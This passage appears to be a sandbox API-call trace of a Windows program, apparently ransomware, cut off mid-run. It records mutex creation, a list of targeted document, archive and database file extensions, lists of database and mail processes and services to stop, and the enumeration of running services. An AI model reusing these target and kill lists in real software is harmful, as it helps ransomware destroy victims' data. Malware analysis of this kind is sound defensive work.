lpProcName="RegOpenKeyExW") returned 0x765f468d [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="RegQueryValueExW") returned 0x765f46ad [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="RegSetValueExW") returned 0x765f14d6 [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="RegCloseKey") returned 0x765f469d [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="OpenProcessToken") returned 0x765f4304 [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="GetTokenInformation") returned 0x765f431c [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="OpenSCManagerW") returned 0x765eca64 [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="OpenServiceW") returned 0x765eca4c [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="CloseServiceHandle") returned 0x765f369c [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="ControlService") returned 0x76607144 [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="QueryServiceStatus") returned 0x765f2a86 [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="EnumDependentServicesW") returned 0x765e1e3a [0083.955] GetProcAddress (hModule=0x765e0000, lpProcName="EnumServicesStatusExW") returned 0x765eb466 [0083.955] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758d0000 [0084.063] GetProcAddress (hModule=0x758d0000, lpProcName="SystemParametersInfoW") returned 0x758e90d3 [0084.063] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76700000 [0084.066] GetProcAddress (hModule=0x76700000, lpProcName="ShellExecuteExW") returned 0x76721e46 [0084.066] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77d10000 [0084.067] GetProcAddress (hModule=0x77d10000, lpProcName="NtQuerySystemInformation") returned 0x77d2fda0 [0084.067] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x740a0000 [0084.227] GetProcAddress (hModule=0x740a0000, lpProcName="WNetCloseEnum") returned 0x740a2dd6 [0084.228] GetProcAddress (hModule=0x740a0000, lpProcName="WNetOpenEnumW") returned 0x740a2f06 [0084.228] GetProcAddress (hModule=0x740a0000, lpProcName="WNetEnumResourceW") returned 0x740a3058 [0084.228] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ee0000 [0084.260] GetProcAddress (hModule=0x75ee0000, lpProcName="WSAStartup") returned 0x75ee3ab2 [0084.260] GetProcAddress (hModule=0x75ee0000, lpProcName="socket") returned 0x75ee3eb8 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="send") returned 0x75ee6f01 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="recv") returned 0x75ee6b0e [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="connect") returned 0x75ee6bdd [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="closesocket") returned 0x75ee3918 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="gethostbyname") returned 0x75ef7673 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="inet_addr") returned 0x75ee311b [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="ntohl") returned 0x75ee2d57 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="htonl") returned 0x75ee2d57 [0084.261] GetProcAddress (hModule=0x75ee0000, lpProcName="htons") returned 0x75ee2d8b [0084.261] GetProcessHeap () returned 0x4f0000 [0084.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x504398 [0084.261] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=5783707564) returned 1 [0084.261] GetTickCount () returned 0x112e15a [0084.261] GetCurrentProcessId () returned 0x568 [0084.261] GetTickCount () returned 0x112e15a [0084.261] GetTickCount () returned 0x112e15a [0084.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x5043c0 [0084.262] GetVersion () returned 0x1db10106 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f3980 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500ea0 [0084.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500ea0, Size=0x20) returned 0x504410 [0084.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504410, Size=0x40) returned 0x504980 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x504c30 [0084.262] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87A") returned 0x0 [0084.262] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_TOHS87A") returned 0x84 [0084.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f3980 | out: hHeap=0x4f0000) returned 1 [0084.262] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504980 | out: hHeap=0x4f0000) returned 1 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f3980 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500ea0 [0084.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500ea0, Size=0x20) returned 0x504410 [0084.262] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504410, Size=0x40) returned 0x504980 [0084.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x514c38 [0084.262] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87U") returned 0x0 [0084.262] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_TOHS87U") returned 0x88 [0084.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f3980 | out: hHeap=0x4f0000) returned 1 [0084.263] lstrlenW (lpString="Global\\syncronize_") returned 18 [0084.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504980 | out: hHeap=0x4f0000) returned 1 [0084.263] GetVersion () returned 0x1db10106 [0084.263] GetCurrentProcess () returned 0xffffffff [0084.263] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0084.263] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0084.263] CloseHandle (hObject=0x8c) returned 1 [0084.263] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x4f3980 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500ea0 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500ea0, Size=0x20) returned 0x504410 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504410, Size=0x40) returned 0x504980 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504980, Size=0x80) returned 0x504980 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504980, Size=0x100) returned 0x504980 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x504a88 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x500a90 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x500aa0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x500ab0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500ea0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504ac8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500eb8 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504ac8, Size=0x8) returned 0x504ac8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500ed0 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504ac8, Size=0x10) returned 0x504ac8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500ee8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500f00 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504ac8, Size=0x20) returned 0x504ac8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500f18 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500f30 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500a90, Size=0x8) returned 0x500a90 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500aa0, Size=0x8) returned 0x500aa0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504af0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500f48 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504b00 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500f60 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x8) returned 0x504b00 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c58 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x10) returned 0x504b00 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524c70 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504b18 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x20) returned 0x504b28 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500a90, Size=0x10) returned 0x504b00 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500aa0, Size=0x10) returned 0x504b50 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x500a90 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524c88 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x500aa0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524ca0 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500aa0, Size=0x8) returned 0x500aa0 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504b68 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524cb8 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504b78 [0084.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524cd0 [0084.263] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b78, Size=0x8) returned 0x504b78 [0084.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x20) returned 0x504b88 [0084.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b50, Size=0x20) returned 0x504bb0 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504b50 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524ce8 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504bd8 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524d00 [0084.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504bd8, Size=0x8) returned 0x504bd8 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x525040 [0084.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x525060 [0084.264] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0084.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504980 | out: hHeap=0x4f0000) returned 1 [0084.264] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0084.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d18 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d18, Size=0x20) returned 0x504618 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x5049d8 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5049d8, Size=0x80) returned 0x5049d8 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5049d8, Size=0x100) returned 0x525338 [0084.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d18 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d18, Size=0x20) returned 0x504618 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x5049d8 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5049d8, Size=0x80) returned 0x5049d8 [0084.269] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5049d8, Size=0x100) returned 0x525440 [0084.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524d18 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x8) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5049d8 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x10) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5049f8 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504618 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x20) returned 0x504a18 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x504640 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x504a40 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504668 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524d48 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x525548 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x8) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x525590 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x10) returned 0x504b00 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x504a60 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5255d8 [0084.270] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504b00, Size=0x20) returned 0x5255f8 [0084.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x525620 [0084.270] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0084.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525338 | out: hHeap=0x4f0000) returned 1 [0084.270] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0084.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525440 | out: hHeap=0x4f0000) returned 1 [0084.270] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x525ba0 [0084.284] EnumServicesStatusExW (in: hSCManager=0x525ba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0084.337] GetLastError () returned 0xea [0084.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa08) returned 0x5294a0 [0084.338] EnumServicesStatusExW (in: hSCManager=0x525ba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5294a0, cbBufSize=0xa08, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5294a0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0084.368] CloseServiceHandle (hSCObject=0x525ba0) returned 1 [0084.452] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0084.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0084.452] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0084.452] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0084.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0084.452] lstrlenW (lpString="AudioSrv") returned 8 [0084.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0084.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0084.452] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0084.452] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0084.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0084.452] lstrlenW (lpString="BFE") returned 3 [0084.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0084.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0084.452] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0084.452] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0084.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0084.452] lstrlenW (lpString="CscService") returned 10 [0084.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0084.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0084.453] lstrlenW (lpString="DcomLaunch") returned 10 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0084.453] lstrlenW (lpString="Dhcp") returned 4 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0084.453] lstrlenW (lpString="Dnscache") returned 8 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0084.453] lstrlenW (lpString="eventlog") returned 8 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0084.453] lstrlenW (lpString="EventSystem") returned 11 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0084.453] lstrlenW (lpString="gpsvc") returned 5 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0084.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0084.453] lstrlenW (lpString="lmhosts") returned 7 [0084.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0084.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0084.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0084.453] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0084.454] lstrlenW (lpString="MMCSS") returned 5 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0084.454] lstrlenW (lpString="nsi") returned 3 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0084.454] lstrlenW (lpString="PlugPlay") returned 8 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0084.454] lstrlenW (lpString="Power") returned 5 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0084.454] lstrlenW (lpString="ProfSvc") returned 7 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0084.454] lstrlenW (lpString="RpcEptMapper") returned 12 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0084.454] lstrlenW (lpString="RpcSs") returned 5 [0084.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0084.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0084.454] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0084.454] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0084.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0084.455] lstrlenW (lpString="SamSs") returned 5 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0084.455] lstrlenW (lpString="Schedule") returned 8 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0084.455] lstrlenW (lpString="SENS") returned 4 